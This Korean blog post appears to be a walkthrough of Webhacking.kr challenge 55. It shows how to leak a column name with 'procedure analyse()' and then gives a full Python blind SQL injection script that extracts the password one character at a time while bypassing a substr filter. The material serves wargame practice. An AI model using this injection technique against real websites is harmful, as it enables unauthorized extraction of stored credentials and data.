첫화면은 그냥 마우스가 움직이면 변하는 숫자들이다.
rank로 들어가 보면 여러 랭킹이 많이 있다.
그리고 숫자를 클릭해 보면 그냥 이렇게 화면에 id가 맨위에 뜬다.
소스는 별 볼일 없지만
hint가 있다.
답이 소문자 이고 id=ip라고만 되어있다.
그래서
procedure analyse()로 칼럼의 명을 알아내 보니
challenge_55_game.ip가 나온다.
하지만 우리는 password를 알아내야 하기 때문에
limit 문을 써서
score=0%20limit%202,1%20procedure%20analyse()를 해 보면
pAsSw0RdzzzZ라는 것을 알 수 있다.
또 참일 때에는 local host
거짓일 때에는 gurwodla이 나오는 것을 볼 수 있다.
하지만 substr문은 필터링이 되어 있으므로
right(letf())문을 써서 알아보기로 한다.
import urllib.request
import re
if __name__ == "__main__":
answer = ''
key = True
code = [num for num in range(39,127)]
head = {'Cookie':'PHPSESSID=내 쿠키값'}
for k in range(1,30):
req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(k),headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("localhost",data)
print(k)
if find:
print("password length :",k)
break
for i in range(1,k+1):
for j in code:
print(hex(j))
req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,"+str(i)+"),1)="+hex(j),headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("localhost",data)
if find:
print("password :",i,chr(j))
answer += chr(j)
break
if j == 126:
key = False
break
if key == False:
break
print(answer)
이 파이썬으로 짠 소스를 돌리면
답이 나온다.
이것을 auth에 인증해 주면
55번도 클리어!
'WebHacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 34번 (0) | 2018.01.26 |
---|---|
Webhacking.kr 9번 (0) | 2018.01.26 |
Webhacking.kr 13번 (0) | 2018.01.25 |
Webhacking.kr 43번 (0) | 2018.01.25 |
Webhacking.kr 49번 (0) | 2018.01.19 |